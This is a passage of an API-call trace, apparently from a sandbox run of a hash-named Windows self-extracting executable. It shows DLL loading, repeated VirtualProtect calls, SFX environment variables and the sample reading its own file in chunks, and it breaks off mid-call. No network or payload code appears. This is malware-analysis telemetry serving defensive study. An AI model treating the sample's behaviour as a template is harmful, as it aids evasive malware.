lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0065.205] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0065.205] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\UXTheme.dll") returned 0x73a10000 [0066.191] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="UXTheme.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0066.191] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0066.191] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\dwmapi.dll") returned 0x739b0000 [0066.431] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="dwmapi.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0066.431] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0066.431] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\cryptbase.dll") returned 0x74a40000 [0066.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="cryptbase.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 1 [0066.435] GetCurrentDirectoryW (in: nBufferLength=0x800, lpBuffer=0x1318468 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0066.435] GetSystemDirectoryW (in: lpBuffer=0x3ee80c, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0066.435] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\riched20.dll") returned 0x749a0000 [0067.214] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0067.214] GetProcAddress (hModule=0x752b0000, lpProcName="AcquireSRWLockExclusive") returned 0x76f329f1 [0067.215] GetProcAddress (hModule=0x752b0000, lpProcName="ReleaseSRWLockExclusive") returned 0x76f329ab [0067.215] VirtualQuery (in: lpAddress=0x1332000, lpBuffer=0x3ef768, dwLength=0x1c | out: lpBuffer=0x3ef768*(BaseAddress=0x1332000, AllocationBase=0x12d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x8, Type=0x1000000)) returned 0x1c [0067.215] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x8) returned 1 [0067.215] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75740000 [0067.215] GetProcAddress (hModule=0x75740000, lpProcName="OleInitialize") returned 0x7575efd7 [0067.216] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x8, lpflOldProtect=0x3ef7a8 | out: lpflOldProtect=0x3ef7a8*=0x4) returned 1 [0067.216] OleInitialize (pvReserved=0x0) returned 0x0 [0067.230] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0067.231] LoadLibraryExA (lpLibFileName="COMCTL32.dll", hFile=0x0, dwFlags=0x0) returned 0x73a90000 [0069.264] GetProcAddress (hModule=0x73a90000, lpProcName="InitCommonControlsEx") returned 0x73ab09ce [0069.265] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7a8 | out: lpflOldProtect=0x3ef7a8*=0x4) returned 1 [0069.265] InitCommonControlsEx (picce=0x3ef830) returned 1 [0069.267] GdiplusStartup (in: token=0x3ef838, input=0x3ef820, output=0x0 | out: token=0x3ef838, output=0x0) returned 0x0 [0069.389] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0069.389] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x75be0000 [0072.545] GetProcAddress (hModule=0x75be0000, lpProcName="SHGetMalloc") returned 0x75c00602 [0072.545] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7a8 | out: lpflOldProtect=0x3ef7a8*=0x4) returned 1 [0072.546] SHGetMalloc (in: ppMalloc=0x1318430 | out: ppMalloc=0x1318430*=0x758866bc) returned 0x0 [0072.546] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x3ef828 | out: lpCPInfo=0x3ef828) returned 1 [0072.547] GetCommandLineW () returned="\"C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe\" " [0072.547] SetEnvironmentVariableW (lpName="sfxcmd", lpValue="\"C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe\" ") returned 1 [0072.547] SetEnvironmentVariableW (lpName="sfxpar", lpValue="") returned 1 [0072.548] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x132dc90, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe")) returned 0x5f [0072.548] SetEnvironmentVariableW (lpName="sfxname", lpValue="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe") returned 1 [0072.548] GetLocalTime (in: lpSystemTime=0x3ef850 | out: lpSystemTime=0x3ef850*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x1b, wMilliseconds=0x216)) [0072.548] GetLastError () returned 0x0 [0072.548] SetLastError (dwErrCode=0x0) [0072.548] SetEnvironmentVariableW (lpName="sfxstime", lpValue="2022-08-06-02-18-27-534") returned 1 [0072.549] GetModuleHandleW (lpModuleName=0x0) returned 0x12d0000 [0072.549] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0072.549] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x76860000 [0072.549] GetProcAddress (hModule=0x76860000, lpProcName="LoadIconW") returned 0x7687b142 [0072.549] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7d0 | out: lpflOldProtect=0x3ef7d0*=0x4) returned 1 [0072.549] LoadIconW (hInstance=0x12d0000, lpIconName=0x64) returned 0xc01f7 [0072.551] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0072.551] GetProcAddress (hModule=0x76860000, lpProcName="LoadBitmapW") returned 0x76888b72 [0072.551] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7a8 | out: lpflOldProtect=0x3ef7a8*=0x4) returned 1 [0072.552] LoadBitmapW (hInstance=0x12d0000, lpBitmapName=0x65) returned 0x0 [0072.552] FindResourceW (hModule=0x12d0000, lpName=0x65, lpType="PNG") returned 0x13333e0 [0072.552] SizeofResource (hModule=0x12d0000, hResInfo=0x13333e0) returned 0xb45 [0072.552] LoadResource (hModule=0x12d0000, hResInfo=0x13333e0) returned 0x1333614 [0072.552] LockResource (hResData=0x1333614) returned 0x1333614 [0072.553] GlobalLock (hMem=0x1a0004) returned 0x4e1658 [0072.553] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0072.553] GetProcAddress (hModule=0x75740000, lpProcName="CreateStreamOnHGlobal") returned 0x7576363b [0072.553] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef784 | out: lpflOldProtect=0x3ef784*=0x4) returned 1 [0072.553] CreateStreamOnHGlobal (in: hGlobal=0x1a0004, fDeleteOnRelease=0, ppstm=0x3ef80c | out: ppstm=0x3ef80c*=0x4df9e0) returned 0x0 [0072.559] GdipAlloc (size=0x10) returned 0xf52230 [0072.561] GdipCreateBitmapFromStream (stream=0x4df9e0, bitmap=0x3ef7d4) returned 0x0 [0073.047] IUnknown:Release (This=0x4df9e0) returned 0x2 [0073.047] GdipCreateHBITMAPFromBitmap (bitmap=0xf52248, hbmReturn=0x3ef810, background=0xffffff) returned 0x0 [0073.060] GdipDisposeImage (image=0xf52248) returned 0x0 [0073.060] GdipFree (ptr=0xf52230) [0073.060] GlobalUnlock (hMem=0x1a0004) returned 0 [0073.061] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.061] LoadLibraryExA (lpLibFileName="GDI32.dll", hFile=0x0, dwFlags=0x0) returned 0x75220000 [0073.061] GetProcAddress (hModule=0x75220000, lpProcName="GetObjectW") returned 0x75236c3a [0073.061] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef7a4 | out: lpflOldProtect=0x3ef7a4*=0x4) returned 1 [0073.062] GetObjectW (in: h=0x2c05018e, c=24, pv=0x3ef824 | out: pv=0x3ef824) returned 24 [0073.062] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.062] GetProcAddress (hModule=0x76860000, lpProcName="GetDC") returned 0x768772c4 [0073.062] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef798 | out: lpflOldProtect=0x3ef798*=0x4) returned 1 [0073.062] GetDC (hWnd=0x0) returned 0x4010b6d [0073.063] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.063] GetProcAddress (hModule=0x75220000, lpProcName="GetDeviceCaps") returned 0x75234de0 [0073.063] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef794 | out: lpflOldProtect=0x3ef794*=0x4) returned 1 [0073.063] GetDeviceCaps (hdc=0x4010b6d, index=88) returned 96 [0073.063] GetDeviceCaps (hdc=0x4010b6d, index=90) returned 96 [0073.063] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x1330ce4 | out: lpflOldProtect=0x1330ce4*=0x4) returned 1 [0073.064] GetProcAddress (hModule=0x76860000, lpProcName="ReleaseDC") returned 0x76877446 [0073.064] VirtualProtect (in: lpAddress=0x1332000, dwSize=0x188, flNewProtect=0x4, lpflOldProtect=0x3ef794 | out: lpflOldProtect=0x3ef794*=0x4) returned 1 [0073.064] ReleaseDC (hWnd=0x0, hDC=0x4010b6d) returned 1 [0073.064] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xe4 [0073.064] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x80) returned 0x4e2d40 [0073.064] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x80) returned 0x4c1278 [0073.064] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4e2d40, Size=0x120) returned 0x4e39a0 [0073.065] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4c1278, Size=0x120) returned 0x4e3ac8 [0073.065] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4e39a0, Size=0x1e8) returned 0x4e1658 [0073.065] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4e3ac8, Size=0x1e8) returned 0x4e3ac8 [0073.065] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x0 [0073.065] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.066] SetFilePointer (in: hFile=0xe4, lDistanceToMove=8176, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x1ff0 [0073.066] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x1ff0 [0073.066] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.066] SetFilePointer (in: hFile=0xe4, lDistanceToMove=16352, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x3fe0 [0073.066] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x3fe0 [0073.066] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.066] SetFilePointer (in: hFile=0xe4, lDistanceToMove=24528, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x5fd0 [0073.066] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x5fd0 [0073.067] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.067] SetFilePointer (in: hFile=0xe4, lDistanceToMove=32704, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x7fc0 [0073.067] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x7fc0 [0073.067] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.067] SetFilePointer (in: hFile=0xe4, lDistanceToMove=40880, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x9fb0 [0073.067] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x9fb0 [0073.067] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.067] SetFilePointer (in: hFile=0xe4, lDistanceToMove=49056, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0xbfa0 [0073.067] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0xbfa0 [0073.067] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=57232, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0xdf90 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0xdf90 [0073.068] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=65408, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0xff80 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0xff80 [0073.068] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=73584, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x11f70 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x11f70 [0073.068] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=81760, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x13f60 [0073.068] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x13f60 [0073.069] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=89936, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x15f50 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x15f50 [0073.069] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=98112, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x17f40 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x17f40 [0073.069] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=106288, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x19f30 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x19f30 [0073.069] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.069] SetFilePointer (in: hFile=0xe4, lDistanceToMove=114464, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x1bf20 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x1bf20 [0073.070] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=122640, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x1df10 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x1df10 [0073.070] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=130816, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x1ff00 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x1ff00 [0073.070] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=138992, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x21ef0 [0073.070] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x21ef0 [0073.070] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=147168, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x23ee0 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x23ee0 [0073.071] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=155344, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x25ed0 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x25ed0 [0073.071] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=163520, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x27ec0 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x27ec0 [0073.071] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=171696, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x29eb0 [0073.071] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x29eb0 [0073.072] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.072] SetFilePointer (in: hFile=0xe4, lDistanceToMove=179872, lpDistanceToMoveHigh=0x3eb4f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x3eb4f4*=0) returned 0x2bea0 [0073.072] SetFilePointer (in: hFile=0xe4, lDistanceToMove=0, lpDistanceToMoveHigh=0x3eb514*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x3eb514*=0) returned 0x2bea0 [0073.072] ReadFile (in: hFile=0xe4, lpBuffer=0x3eb528, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3eb4e0, lpOverlapped=0x0 | out: lpBuffer=0x3eb528*, lpNumberOfBytesRead=0x3eb4e0*=0x2000, lpOverlapped=0x0) returned 1 [0073.072] SetFilePointer 